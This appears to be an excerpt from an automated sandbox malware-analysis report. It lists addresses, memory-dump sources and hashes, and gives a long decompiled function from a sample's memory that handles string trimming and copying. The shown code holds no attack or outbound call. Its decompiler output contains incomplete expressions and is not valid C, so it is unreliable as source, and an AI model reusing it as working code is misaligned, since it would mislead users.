0x6ed3c782
0x6ed3c78e
0x6ed3c793
0x6ed3c7a1
0x6ed3beaa
0x6ed3beaa
0x6ed3beac
0x6ed3beb0
0x6ed3beb4
0x6ed3bebb
0x6ed3bebf
0x6ed3bec6
0x6ed3bec6
0x6ed3bec6
0x6ed3becf
0x6ed3bed4
0x6ed3bed8
0x6ed3bee0
0x6ed3beeb
0x6ed3bef4
0x6ed3bef8
0x6ed3befe
0x6ed3bf02
0x6ed3bf06
0x6ed3bf0c
0x6ed3bf12
0x6ed3bf18
0x6ed3bf1d
0x6ed3bf1f
0x00000000
0x00000000
0x6ed3bf21
0x6ed3bf21
0x6ed3bf23
0x6ed3bf2a
0x6ed3bf2f
0x6ed3bf33
0x6ed3bf33
0x6ed3bf35
0x00000000
0x00000000
0x6ed3bf3b
0x6ed3bf3e
0x6ed3bfde
0x6ed3bfe3
0x6ed3bf44
0x6ed3bf49
0x6ed3bf4e
0x00000000
0x6ed3bf4e
0x6ed3bfea
0x6ed3bffc
0x6ed3bffe
0x6ed3c08e
0x6ed3c09a
0x6ed3c0a6
0x6ed3c0b2
0x6ed3c0be
0x6ed3c0ca
0x6ed3c0d6
0x6ed3c0e2
0x6ed3c0e7
0x6ed3c0f5
0x6ed3c004
0x6ed3c008
0x6ed3c009
0x6ed3c00d
0x6ed3c010
0x00000000
0x6ed3c016
0x6ed3c01d
0x6ed3c029
0x6ed3c035
0x6ed3c041
0x6ed3c04d
0x6ed3c059
0x6ed3c065
0x6ed3c071
0x6ed3c076
0x6ed3c084
0x6ed3c084
0x6ed3c010
0x00000000
0x6ed3bffe
0x6ed3c0f8
0x6ed3c0ff
0x00000000
0x6ed3c0ff
0x6ed3bf51
0x6ed3bf58
0x6ed3bf5a
0x6ed3bf61
0x6ed3bf68
0x6ed3bf6c
0x6ed3bf75
0x6ed3bf7a
0x6ed3bf88
0x6ed3bf89
0x6ed3bf8d
0x6ed3bf94
0x6ed3bf95
0x6ed3bf96
0x6ed3bfa4
0x6ed3bfa6
0x00000000
0x00000000
0x6ed3bfac
0x6ed3bfac
0x6ed3bfae
0x6ed3bfba
0x6ed3bfbc
0x6ed3bfc0
0x6ed3bfc2
0x00000000
0x00000000
0x6ed3bfc8
0x6ed3bfcb
0x6ed3c106
0x6ed3c10b
0x6ed3bfd1
0x6ed3bfd6
0x6ed3bfdb
0x00000000
0x6ed3bfdb
0x00000000
0x6ed3bfcb
0x6ed3c118
0x6ed3c11a
0x6ed3c11c
0x6ed3c1ac
0x6ed3c1b8
0x6ed3c1c4
0x6ed3c1d0
0x6ed3c1dc
0x6ed3c1e8
0x6ed3c1f4
0x6ed3c200
0x6ed3c205
0x6ed3c213
0x6ed3c122
0x6ed3c126
0x6ed3c127
0x6ed3c12b
0x6ed3c12e
0x00000000
0x6ed3c134
0x6ed3c13b
0x6ed3c147
0x6ed3c153
0x6ed3c15f
0x6ed3c16b
0x6ed3c177
0x6ed3c183
0x6ed3c18f
0x6ed3c194
0x6ed3c1a2
0x6ed3c1a2
0x6ed3c12e
0x00000000
0x6ed3c11c
0x6ed3c216
0x6ed3c21d
0x6ed3c221
0x6ed3c227
0x6ed3c236
0x6ed3c23a
0x6ed3c23f
0x6ed3c241
0x6ed3c2b4
0x6ed3c2ba
0x6ed3c2bf
0x6ed3c2cf
0x6ed3c2e8
0x6ed3c2f1
0x6ed3c2fd
0x6ed3c309
0x6ed3c311
0x6ed3c314
0x6ed3c317
0x6ed3c328
0x6ed3c32d
0x6ed3c32f
0x6ed3c333
0x6ed3c33a
0x6ed3c341
0x6ed3c347
0x6ed3c357
0x6ed3c358
0x6ed3c35f
0x6ed3c366
0x6ed3c367
0x6ed3c368
0x6ed3c371
0x6ed3c376
0x6ed3c378
0x00000000
0x00000000
0x6ed3c37e
0x6ed3c37e
0x6ed3c380
0x6ed3c38c
0x6ed3c38e
0x6ed3c392
0x6ed3c394
0x00000000
0x00000000
0x6ed3c396
0x6ed3c399
0x6ed3c3a8
0x6ed3c3ad
0x6ed3c39b
0x6ed3c3a0
0x6ed3c3a5
0x00000000
0x6ed3c3a5
0x00000000
0x6ed3c399
0x6ed3c3ba
0x6ed3c3bc
0x6ed3c3be
0x6ed3c454
0x6ed3c460
0x6ed3c46c
0x6ed3c478
0x6ed3c484
0x6ed3c490
0x6ed3c49c
0x6ed3c4a8
0x6ed3c4b4
0x6ed3c4b9
0x6ed3c4c7
0x6ed3c3c4
0x6ed3c3c8
0x6ed3c3c9
0x6ed3c3cd
0x6ed3c3d0
0x00000000
0x6ed3c3d6
0x6ed3c3da
0x6ed3c3e6
0x6ed3c3f2
0x6ed3c3fe
0x6ed3c40a
0x6ed3c416
0x6ed3c422
0x6ed3c42e
0x6ed3c43a
0x6ed3c43f
0x6ed3c44d
0x6ed3c44d
0x6ed3c3d0
0x00000000
0x6ed3c3be
0x6ed3c4ca
0x6ed3c4d1
0x6ed3c4d1
0x6ed3c4d3
0x6ed3c4da
0x6ed3c4e1
0x6ed3c4e3
0x6ed3c4e3
0x6ed3c4ec
0x6ed3c4f1
0x6ed3c4f5
0x6ed3c4fd
0x6ed3c501
0x6ed3c50c
0x6ed3c517
0x6ed3c51b
0x6ed3c522
0x6ed3c526
0x6ed3c52d
0x6ed3c531
0x6ed3c537
0x6ed3c53d
0x6ed3c542
0x6ed3c544
0x00000000
0x00000000
0x6ed3c5f3
0x6ed3c5f3
0x6ed3c5f5
0x6ed3c5fc
0x6ed3c603
0x6ed3c605
0x00000000
0x00000000
0x6ed3c607
0x6ed3c60a
0x6ed3c619
0x6ed3c61e
0x6ed3c60c
0x6ed3c611
0x6ed3c616
0x00000000
0x6ed3c616
0x00000000
0x6ed3c60a
0x6ed3c62b
0x6ed3c62d
0x6ed3c62d
0x6ed3c62f
0x6ed3c6bd
0x6ed3c6c9
0x6ed3c6d5
0x6ed3c6e1
0x6ed3c6ed
0x6ed3c6f9
0x6ed3c705
0x6ed3c711
0x6ed3c71d
0x6ed3c722
0x6ed3c730
0x6ed3c635
0x6ed3c635
0x6ed3c636
0x6ed3c639
0x00000000
0x6ed3c63f
0x6ed3c643
0x6ed3c64f
0x6ed3c65b
0x6ed3c667
0x6ed3c673
0x6ed3c67f
0x6ed3c68b
0x6ed3c697
0x6ed3c6a3
0x6ed3c6a8
0x6ed3c6b6
0x6ed3c6b6
0x6ed3c639
0x00000000
0x6ed3c62f
0x6ed3c54a
0x6ed3c54c
0x6ed3c553
0x6ed3c558
0x6ed3c55b
0x6ed3c56e
0x6ed3c577
0x6ed3c583
0x6ed3c58f
0x6ed3c59b
0x6ed3c5a7
0x6ed3c5b3
0x6ed3c5bf
0x6ed3c5cb
0x6ed3c5d7
0x6ed3c5de
0x6ed3c5e1
0x6ed3c5e1
0x6ed3c5f0
0x6ed3c243
0x6ed3c24a
0x6ed3c256
0x6ed3c262
0x6ed3c26e
0x6ed3c27a
0x6ed3c286
0x6ed3c292
0x6ed3c29e
0x6ed3c2a3
0x6ed3c2b1
0x6ed3c2b1
0x6ed3c241
0x6ed3bea4
0x6ed3b83c
0x00000000
0x00000000
0x00000000
0x6ed3b317
0x6ed3b004
0x6ed3b00b
0x6ed3b017
0x6ed3b023
0x6ed3b036
0x6ed3b036
0x00000000

Strings

ZFhj, xrefs: 6ED3B588

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: ZFhj
API String ID: 0-4053837889
Opcode ID: a5ecc974dae4c9b611f2cb466829fc73c47df3fbfb76fef6f04e5e03396a34cb
Instruction ID: cd3f41184cd6d021dc5ea9a123270a53f0e63394dd83e04bab83f6c0b9f32046
Opcode Fuzzy Hash: a5ecc974dae4c9b611f2cb466829fc73c47df3fbfb76fef6f04e5e03396a34cb
Instruction Fuzzy Hash: 2FE24D715183809BD734DFB4D890BEEB3E8AFD5318F504E2ED49946290EF30A959CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E6ED53EC0(signed int __ecx) {
				char _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _t368;
				unsigned int _t371;
				void* _t376;
				signed int* _t377;
				char* _t378;
				char _t381;
				signed int _t382;
				signed int _t388;
				signed int _t392;
				signed int _t393;
				signed int _t396;
				char* _t397;
				char _t400;
				char _t403;
				signed int _t404;
				signed int _t407;
				signed int _t410;
				signed int _t412;
				void* _t413;
				char* _t416;
				signed int _t418;
				unsigned int _t424;
				signed int _t425;
				char* _t431;
				signed int _t436;
				unsigned int _t442;
				char* _t445;
				void* _t447;
				char _t449;
				signed int _t450;
				signed int _t451;
				char* _t463;
				char _t477;
				char _t479;
				char _t481;
				char _t482;
				signed int _t483;
				signed int _t484;
				char _t491;
				signed int _t492;
				void* _t503;
				signed int _t508;
				unsigned int _t509;
				signed int _t511;
				signed int _t512;
				signed int _t520;
				char* _t521;
				char* _t522;
				char* _t523;
				signed int _t524;
				signed int _t527;
				char* _t535;
				signed int _t537;
				unsigned int _t543;
				signed int _t545;
				signed int _t546;
				char _t548;
				char _t549;
				char _t550;
				signed int _t551;
				signed int _t552;
				unsigned int _t556;
				void* _t565;
				signed int _t566;
				char* _t568;
				char _t569;
				char _t570;
				signed int _t571;
				signed int _t573;
				signed int _t574;
				unsigned int _t575;
				char* _t576;
				char _t577;
				char _t578;
				char* _t583;
				char _t584;
				char _t585;
				signed int _t586;
				unsigned int _t592;
				void* _t595;
				signed int _t597;
				signed int _t600;
				char _t602;
				void* _t603;
				unsigned int _t604;
				signed int _t605;
				unsigned int _t610;
				signed int _t612;
				signed int _t614;
				char* _t615;
				char _t616;
				char _t617;
				char _t620;
				signed int _t621;
				void* _t624;
				signed int _t626;
				char _t629;
				signed int _t630;
				signed int _t636;
				signed int _t641;
				char* _t642;
				char _t644;
				signed int _t646;
				char _t649;
				signed int _t650;
				signed int _t652;
				signed int _t654;
				signed int _t655;
				signed int _t658;
				char* _t659;
				void* _t660;
				void* _t665;
				intOrPtr _t667;
				signed int _t672;
				signed int _t673;
				unsigned int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t680;
				intOrPtr* _t681;
				signed int _t682;
				unsigned int* _t683;
				signed int _t685;
				signed int _t686;
				void* _t688;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				char* _t695;
				void* _t696;
				unsigned int _t697;
				signed int _t700;
				unsigned int _t702;
				signed int _t704;
				intOrPtr* _t705;
				signed int _t707;
				signed int _t714;
				void* _t720;
				signed int _t721;
				void* _t723;
				void* _t727;

				_t723 = (_t721 & 0xfffffff0) - 0x44;
				_t505 = __ecx;
				_t727 =  *__ecx;
				if(_t727 == 0) {
					return __ecx;
				} else {
					if(_t727 <= 0) {
						_v48 = 0;
						_t604 = 0;
						if( &_v52 == __ecx) {
							goto L288;
						} else {
							goto L287;
						}
					} else {
						_v64 = 0;
						asm("pxor xmm0, xmm0");
						_v40 = __ecx;
						do {
							_t410 = _v64 + 1;
							_t620 =  *0x6ed6a24c; // 0xa0d0920
							_t550 =  *0x6ed6a250; // 0x0
							_v64 = _t410;
							_v36 = _t620;
							_v32 = _t550;
							_t621 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t410 * 4 - 4));
							if(_t621 == 0) {
								_t680 = 0;
								_t412 = 0;
							} else {
								_t505 = _t621 & 0x0000000f;
								if(_t505 == 0) {
									L8:
									asm("pxor xmm1, xmm1");
									_t503 =  ~( ~_t505 + 0x0000000f & 0x0000000f) + 0x7fffffff;
									while(1) {
										asm("movdqu xmm0, [edx+ebx]");
										asm("pcmpeqb xmm0, xmm1");
										asm("pmovmskb ecx, xmm0");
										if(_t550 != 0) {
											break;
										}
										_t505 = _t505 + 0x10;
										if(_t505 < _t503) {
											continue;
										} else {
											if(_t503 >= 0x7fffffff) {
												L14:
												_t412 = 0x7fffffff;
												goto L15;
											} else {
												while( *((char*)(_t503 + _t621)) != 0) {
													_t503 = _t503 + 1;
													if(_t503 < 0x7fffffff) {
														continue;
													} else {
														goto L14;
													}
													goto L20;
												}
												goto L295;
											}
										}
										goto L20;
									}
									asm("bsf eax, ecx");
									_t412 = _t503 + _t505;
									goto L295;
								} else {
									_t412 = 0;
									_t505 =  ~_t505 + 0x10;
									while( *((char*)(_t412 + _t621)) != 0) {
										_t412 = _t412 + 1;
										if(_t412 < _t505) {
											continue;
										} else {
											goto L8;
										}
										goto L20;
									}
									L295:
									if(_t412 > 0) {
										L15:
										_t505 = _v36;
										_t680 = 0;
										while(_t505 != 0) {
											while(1) {
												_t720 = _t720 + 1;
												if(_t603 ==  *((intOrPtr*)(_t723 + _t720 + 0x2f))) {
													break;
												}
												if( *((char*)(_t723 + _t720 + 0x30)) != 0) {
													continue;
												}
												goto L20;
											}
											_t680 = _t680 + 1;
											if(_t680 < _t412) {
												continue;
											} else {
												goto L20;
											}
											goto L301;
										}
									} else {
										_t680 = 0;
									}
								}
							}
							L20:
							_t413 = _t412 - 1;
							_t700 = _t412 - _t680;
							if(_t413 >= _t680) {
								_v60 = 0;
								_t505 = _t413 - _t680 + 1;
								_v56 = _t680;
								_t602 = _v36;
								_t689 = _v60;
								_v48 = _t621;
								_v52 = _t505;
								while(_t602 != 0) {
									_t667 =  *((intOrPtr*)(_t413 + _v48));
									while(1) {
										_t505 = 1;
										if(_t667 ==  *((intOrPtr*)(_t723 + 0x30))) {
											break;
										}
										if( *((char*)(_t723 + 0x31)) != 0) {
											continue;
										}
										goto L26;
									}
									_t689 = _t689 + 1;
									_t413 = _t413 - 1;
									_t700 = _t700 - 1;
									if(_t689 < _v52) {
										continue;
									} else {
										break;
									}
									goto L301;
								}
								L26:
								_t621 = _v48;
								_t680 = _v56;
							}
							if(_t700 == 0) {
								L66:
								_push(0x40);
								_t505 = E6ED41030();
								_t723 = _t723 + 4;
								 *_t505 = 0;
							} else {
								if(_t621 == 0) {
									_t483 = 0;
								} else {
									_t600 = _t621 & 0x0000000f;
									if(_t600 == 0) {
										L33:
										asm("pxor xmm1, xmm1");
										_t483 =  ~( ~_t600 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [edx+ecx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ebx, xmm0");
											if(_t505 != 0) {
												break;
											}
											_t600 = _t600 + 0x10;
											if(_t600 < _t483) {
												continue;
											} else {
												if(_t483 >= 0x7fffffff) {
													L39:
													_t483 = 0x7fffffff;
												} else {
													while( *((char*)(_t483 + _t621)) != 0) {
														_t483 = _t483 + 1;
														if(_t483 < 0x7fffffff) {
															continue;
														} else {
															goto L39;
														}
														goto L40;
													}
												}
											}
											goto L40;
										}
										asm("bsf eax, ebx");
										_t483 = _t483 + _t600;
									} else {
										_t483 = 0;
										_t600 =  ~_t600 + 0x10;
										while( *((char*)(_t483 + _t621)) != 0) {
											_t483 = _t483 + 1;
											if(_t483 < _t600) {
												continue;
											} else {
												goto L33;
											}
											goto L40;
										}
									}
								}
								L40:
								_t687 =  <=  ? 0 : _t680;
								_t688 =  <  ? _t483 :  <=  ? 0 : _t680;
								_t484 = _t483 - _t688;
								if(_t700 < 0 || _t700 > _t484) {
									_t700 = _t484;
								}
								if(_t688 + _t621 == 0 ||  *(_t621 + _t688) == 0) {
									goto L66;
								} else {
									if(_t700 == 0) {
										_t492 = _t621 + _t688;
										_t597 = _t492 & 0x0000000f;
										if(_t597 == 0) {
											L50:
											asm("pxor xmm1, xmm1");
											_t700 =  ~( ~_t597 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm0, [eax+ecx]");
												asm("pcmpeqb xmm0, xmm1");
												asm("pmovmskb ebx, xmm0");
												if(_t505 != 0) {
													break;
												}
												_t597 = _t597 + 0x10;
												if(_t597 < _t700) {
													continue;
												} else {
													if(_t700 >= 0x7fffffff) {
														L56:
														_t700 = 0x7fffffff;
													} else {
														while( *((char*)(_t700 + _t492)) != 0) {
															_t700 = _t700 + 1;
															if(_t700 < 0x7fffffff) {
																continue;
															} else {
																goto L56;
															}
															goto L57;
														}
													}
												}
												goto L57;
											}
											asm("bsf esi, ebx");
											_t700 = _t700 + _t597;
										} else {
											_t700 = 0;
											_t597 =  ~_t597 + 0x10;
											while( *((char*)(_t700 + _t492)) != 0) {
												_t700 = _t700 + 1;
												if(_t700 < _t597) {
													continue;
												} else {
													goto L50;
												}
												goto L57;
											}
										}
									}
									L57:
									_t40 = _t700 + 1; // -2147483661
									_t511 =  <=  ? 0x40 : _t40;
									if(_t511 > 0) {
										_t592 = (_t511 >> 5 >> 0x1a) + _t511 >> 6;
										_t512 = _t511 & 0x8000003f;
										if(_t512 < 0) {
											_t512 = (_t512 - 0x00000001 | 0xffffffc0) + 1;
										}
										_push(_t592 + (0 | _t512 > 0x00000000) << 6);
										_v48 = _t621;
										_t505 = E6ED41030();
										_t723 = _t723 + 4;
										_t665 = _v48 + _t688;
										_t595 = 0;
										 *_t505 = 0;
										while(1) {
											_t595 = _t595 + 1;
											_t491 =  *((char*)(_t595 + _t665 - 1));
											 *((char*)(_t595 + _t505 - 1)) = _t491;
											if(_t700 != 0 && _t595 == _t700) {
												break;
											}
											if(_t491 != 0) {
												continue;
											} else {
											}
											goto L67;
										}
										 *((char*)(_t595 + _t505)) = 0;
									} else {
										_t505 = 0;
									}
								}
							}
							L67:
							_t551 = _v64;
							_t681 =  *((intOrPtr*)( *((intOrPtr*)(_v40 + 4)) + _t551 * 4 - 4));
							_t416 =  *_t681;
							if(_t416 != _t505) {
								if(_t505 == 0 ||  *_t505 == 0) {
									if(_t416 != 0) {
										 *_t416 = 0;
									}
									if( *(_t681 + 4) < 0x40) {
										_push(0x40);
										_v72 = E6ED41030();
										_t723 = _t723 + 4;
										_t463 =  *_t681;
										if(_t463 == 0) {
											 *_v72 = 0;
										} else {
											if(_v72 != 0) {
												_t583 = _v72;
												_t649 =  *_t463;
												 *_t583 = _t649;
												if(_t649 != 0) {
													_v84 = _t505;
													_t650 = 0;
													_t523 = _t583;
													while(1) {
														_t650 = _t650 + 1;
														_t584 =  *((char*)(_t463 + _t650 * 2 - 1));
														 *((char*)(_t523 + _t650 * 2 - 1)) = _t584;
														if(_t584 == 0) {
															break;
														}
														_t585 =  *((char*)(_t463 + _t650 * 2));
														 *((char*)(_t523 + _t650 * 2)) = _t585;
														if(_t585 != 0) {
															continue;
														}
														break;
													}
													_t505 = _v84;
												}
												_t463 =  *_t681;
											}
											_push(1);
											_push(_t463);
											E6ED410B0();
											_t723 = _t723 + 8;
										}
										 *_t681 = _v72;
										 *(_t681 + 4) = 0x40;
									}
								} else {
									_t652 = _t505 & 0x0000000f;
									if(_t652 == 0) {
										L74:
										asm("pxor xmm1, xmm1");
										_t714 =  ~( ~_t652 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+edx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb ecx, xmm0");
											if(_t551 != 0) {
												break;
											}
											_t652 = _t652 + 0x10;
											if(_t652 < _t714) {
												continue;
											} else {
												if(_t714 >= 0x7fffffff) {
													L80:
													_t714 = 0x7fffffff;
												} else {
													while( *((char*)(_t714 + _t505)) != 0) {
														_t714 = _t714 + 1;
														if(_t714 < 0x7fffffff) {
															continue;
														} else {
															goto L80;
														}
														goto L81;
													}
													goto L270;
												}
											}
											goto L81;
										}
										asm("bsf esi, ecx");
										_t714 = _t714 + _t652;
										goto L270;
									} else {
										_t714 = 0;
										_t652 =  ~_t652 + 0x10;
										while( *((char*)(_t714 + _t505)) != 0) {
											_t714 = _t714 + 1;
											if(_t714 < _t652) {
												continue;
											} else {
												goto L74;
											}
											goto L81;
										}
										L270:
										if(_t714 == 0xffffffff && _t416 != 0) {
											 *_t416 = 0;
										}
									}
									L81:
									_t57 = _t714 + 1; // -2147483661
									_t654 =  <=  ? 0x40 : _t57;
									if(_t654 >  *(_t681 + 4)) {
										_v68 = (_t654 >> 5 >> 0x1a) + _t654 >> 6;
										_t655 = _t654 & 0x8000003f;
										if(_t655 < 0) {
											_t655 = (_t655 - 0x00000001 | 0xffffffc0) + 1;
										}
										_t658 = _v68 + (0 | _t655 > 0x00000000) << 6;
										_v68 = _t658;
										_push(_t658);
										_t586 = E6ED41030();
										_t723 = _t723 + 4;
										_t659 =  *_t681;
										if(_t659 == 0) {
											 *_t586 = 0;
										} else {
											if(_t586 != 0) {
												_t479 =  *_t659;
												 *_t586 = _t479;
												if(_t479 != 0) {
													_v80 = _t681;
													_v84 = _t505;
													_t524 = 0;
													while(1) {
														_t524 = _t524 + 1;
														_t481 =  *((char*)(_t659 + _t524 * 2 - 1));
														 *((char*)(_t586 + _t524 * 2 - 1)) = _t481;
														if(_t481 == 0) {
															break;
														}
														_t482 =  *((char*)(_t659 + _t524 * 2));
														 *((char*)(_t586 + _t524 * 2)) = _t482;
														if(_t482 != 0) {
															continue;
														}
														break;
													}
													_t681 = _v80;
													_t505 = _v84;
												}
												_t659 =  *_t681;
											}
											_push(1);
											_push(_t659);
											_v76 = _t586;
											E6ED410B0();
											_t586 = _v76;
											_t723 = _t723 + 8;
										}
										 *(_t681 + 4) = _v68;
										 *_t681 = _t586;
									} else {
										_t586 =  *_t681;
									}
									if(_t586 != 0 && _t505 != 0) {
										_t660 = 0;
										while(1) {
											_t660 = _t660 + 1;
											_t477 =  *((char*)(_t660 + _t505 - 1));
											 *((char*)(_t660 + _t586 - 1)) = _t477;
											if(_t714 != 0 && _t660 == _t714) {
												break;
											}
											if(_t477 != 0) {
												continue;
											} else {
											}
											goto L117;
										}
										 *((char*)(_t660 + _t586)) = 0;
									}
								}
							}
							L117:
							_push(1);
							_push(_t505);
							E6ED410B0();
							_t723 = _t723 + 8;
							_t418 = _v40;
							_t552 =  *_t418;
						} while (_t552 > _v64);
						_t505 = _t418;
						_t604 = 0;
						_v48 = 0;
						asm("pxor xmm0, xmm0");
						if(_t552 <= 0) {
							if( &_v52 == _t505) {
								L288:
								_v52 = _t604;
								_v44 = _t604;
							} else {
								L287:
								_v44 = _t604;
								_v52 = _t604;
								 *_t505 = _t604;
								 *(_t505 + 8) = _t604;
								goto L196;
							}
						} else {
							_t371 = 0;
							_v44 = 0;
							_t682 = 0;
							_v60 = _t552;
							_v40 = _t505;
							do {
								_t682 = _t682 + 1;
								_t520 =  *( *( *((intOrPtr*)(_v40 + 4)) + _t682 * 4 - 4));
								if(_t520 != 0) {
									_t704 = _t520 & 0x0000000f;
									if(_t704 == 0) {
										L125:
										asm("pxor xmm1, xmm1");
										_v56 = _t682;
										_t565 =  ~( ~_t704 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										while(1) {
											asm("movdqu xmm0, [ebx+esi]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb edi, xmm0");
											if(_t682 != 0) {
												break;
											}
											_t704 = _t704 + 0x10;
											if(_t704 < _t565) {
												continue;
											} else {
												_t682 = _v56;
												if(_t565 >= 0x7fffffff) {
													goto L131;
												} else {
													while( *((char*)(_t565 + _t520)) != 0) {
														_t565 = _t565 + 1;
														if(_t565 < 0x7fffffff) {
															continue;
														} else {
															goto L131;
														}
														goto L182;
													}
													goto L284;
												}
											}
											goto L182;
										}
										_t566 = _t682;
										asm("bsf ecx, ecx");
										_t682 = _v56;
										_t565 = _t566 + _t704;
										goto L284;
									} else {
										_t565 = 0;
										_t704 =  ~_t704 + 0x10;
										while( *((char*)(_t565 + _t520)) != 0) {
											_t565 = _t565 + 1;
											if(_t565 < _t704) {
												continue;
											} else {
												goto L125;
											}
											goto L182;
										}
										L284:
										if(_t565 != 0) {
											L131:
											_v52 = _t604;
											_t624 =  >  ? _t371 : 0;
											_t625 =  >=  ? _t371 : _t624;
											_v64 =  >=  ? _t371 : _t624;
											_t626 = _v44;
											if(_t371 == _t626) {
												_v44 = _t626 + 4;
												_push(0x10 + _t626 * 4);
												_t707 = E6ED41030();
												E6ED40C10(_t707, _v48, _v52 << 2);
												_push(4);
												_push(_v48);
												E6ED410B0();
												_t723 = _t723 + 0x18;
												_v48 = _t707;
												_t371 = _v52;
											}
											_t419 = _t371 != _v64;
											if(_t371 != _v64) {
												E6ED40BC0(_v48 + _v64 * 4 + 4, _v48 + _v64 * 4, _t419 << 2);
												_t723 = _t723 + 0xc;
											}
											_push(8);
											_t705 = E6ED41030();
											_t723 = _t723 + 4;
											if(_t705 == 0) {
												_t705 = 0;
											} else {
												 *_t705 = 0;
												 *(_t705 + 4) = 0;
												if(_t520 == 0 ||  *_t520 == 0) {
													_push(0x40);
													_v80 = E6ED41030();
													_t723 = _t723 + 4;
													_t431 =  *_t705;
													if(_t431 == 0) {
														 *_v80 = 0;
													} else {
														if(_v80 != 0) {
															_t568 = _v80;
															_t629 =  *_t431;
															 *_t568 = _t629;
															if(_t629 != 0) {
																_v56 = _t682;
																_t630 = 0;
																_t521 = _t568;
																while(1) {
																	_t630 = _t630 + 1;
																	_t569 =  *((char*)(_t431 + _t630 * 2 - 1));
																	 *((char*)(_t521 + _t630 * 2 - 1)) = _t569;
																	if(_t569 == 0) {
																		break;
																	}
																	_t570 =  *((char*)(_t431 + _t630 * 2));
																	 *((char*)(_t521 + _t630 * 2)) = _t570;
																	if(_t570 != 0) {
																		continue;
																	}
																	break;
																}
																_t682 = _v56;
															}
														}
														_push(1);
														_push(_t431);
														E6ED410B0();
														_t723 = _t723 + 8;
													}
													 *_t705 = _v80;
													 *(_t705 + 4) = 0x40;
												} else {
													_t436 = _t520 & 0x0000000f;
													if(_t436 == 0) {
														L142:
														asm("pxor xmm1, xmm1");
														_t636 =  ~( ~_t436 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v72 = _t636;
														_t571 = _t636;
														while(1) {
															asm("movdqu xmm0, [ebx+eax]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb edx, xmm0");
															if(_t636 != 0) {
																break;
															}
															_t436 = _t436 + 0x10;
															if(_t436 < _t571) {
																continue;
															} else {
																_v72 = _t571;
																if(_v72 >= 0x7fffffff) {
																	L149:
																	_v72 = 0x7fffffff;
																} else {
																	_t451 = _t571;
																	while( *((char*)(_t451 + _t520)) != 0) {
																		_t451 = _t451 + 1;
																		if(_t451 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L149;
																		}
																		goto L150;
																	}
																	_v72 = _t451;
																}
															}
															goto L150;
														}
														asm("bsf edx, edx");
														_v72 = _t636 + _t436;
													} else {
														_v72 = 0;
														_t646 = _v72;
														_t436 =  ~_t436 + 0x10;
														while( *((char*)(_t646 + _t520)) != 0) {
															_t646 = _t646 + 1;
															if(_t646 < _t436) {
																continue;
															} else {
																goto L142;
															}
															goto L150;
														}
														_v72 = _t646;
													}
													L150:
													_t143 = _v72 + 1; // 0x80000000
													_t573 =  <=  ? 0x40 : _t143;
													if(_t573 > 0) {
														_t442 = (_t573 >> 5 >> 0x1a) + _t573 >> 6;
														_v76 = _t442;
														_t574 = _t573 & 0x8000003f;
														if(_t574 < 0) {
															_t574 = (_t574 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t641 = _t442 + (0 | _t574 > 0x00000000) << 6;
														_v76 = _t641;
														_push(_t641);
														_t445 = E6ED41030();
														_v68 = _t445;
														_t723 = _t723 + 4;
														_t642 =  *_t705;
														if(_t642 == 0) {
															 *_t445 = 0;
														} else {
															if(_v68 != 0) {
																_t576 = _t445;
																_t449 =  *_t642;
																 *_t576 = _t449;
																if(_t449 != 0) {
																	_v84 = _t520;
																	_t450 = 0;
																	_v56 = _t682;
																	_t522 = _t576;
																	while(1) {
																		_t450 = _t450 + 1;
																		_t577 =  *((char*)(_t642 + _t450 * 2 - 1));
																		 *((char*)(_t522 + _t450 * 2 - 1)) = _t577;
																		if(_t577 == 0) {
																			break;
																		}
																		_t578 =  *((char*)(_t642 + _t450 * 2));
																		 *((char*)(_t522 + _t450 * 2)) = _t578;
																		if(_t578 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t520 = _v84;
																	_t682 = _v56;
																}
															}
															_push(1);
															_push(_t642);
															E6ED410B0();
															_t723 = _t723 + 8;
														}
														 *(_t705 + 4) = _v76;
														 *_t705 = _v68;
													} else {
														_v68 = 0;
													}
													if(_v68 != 0) {
														_v56 = _t682;
														_t447 = 0;
														_t575 = _v68;
														_t686 = _v72;
														while(1) {
															_t447 = _t447 + 1;
															_t644 =  *((char*)(_t447 + _t520 - 1));
															 *((char*)(_t447 + _t575 - 1)) = _t644;
															if(_t686 != 0 && _t447 == _t686) {
																break;
															}
															if(_t644 != 0) {
																continue;
															} else {
																_t682 = _v56;
															}
															goto L181;
														}
														_t682 = _v56;
														 *((char*)(_t447 + _v68)) = 0;
													}
												}
											}
											L181:
											 *((intOrPtr*)(_v48 + _v64 * 4)) = _t705;
											_t371 = _v52 + 1;
											_v60 =  *_v40;
											_t604 = _t371;
										} else {
										}
									}
								}
								L182:
							} while (_t682 < _v60);
							_t505 = _v40;
							_t683 =  &_v52;
							_t556 =  *(_t683 - 8);
							if(_t683 == _t505) {
								L253:
								_v52 = 0;
								_v44 = 0;
								_t604 = _v48;
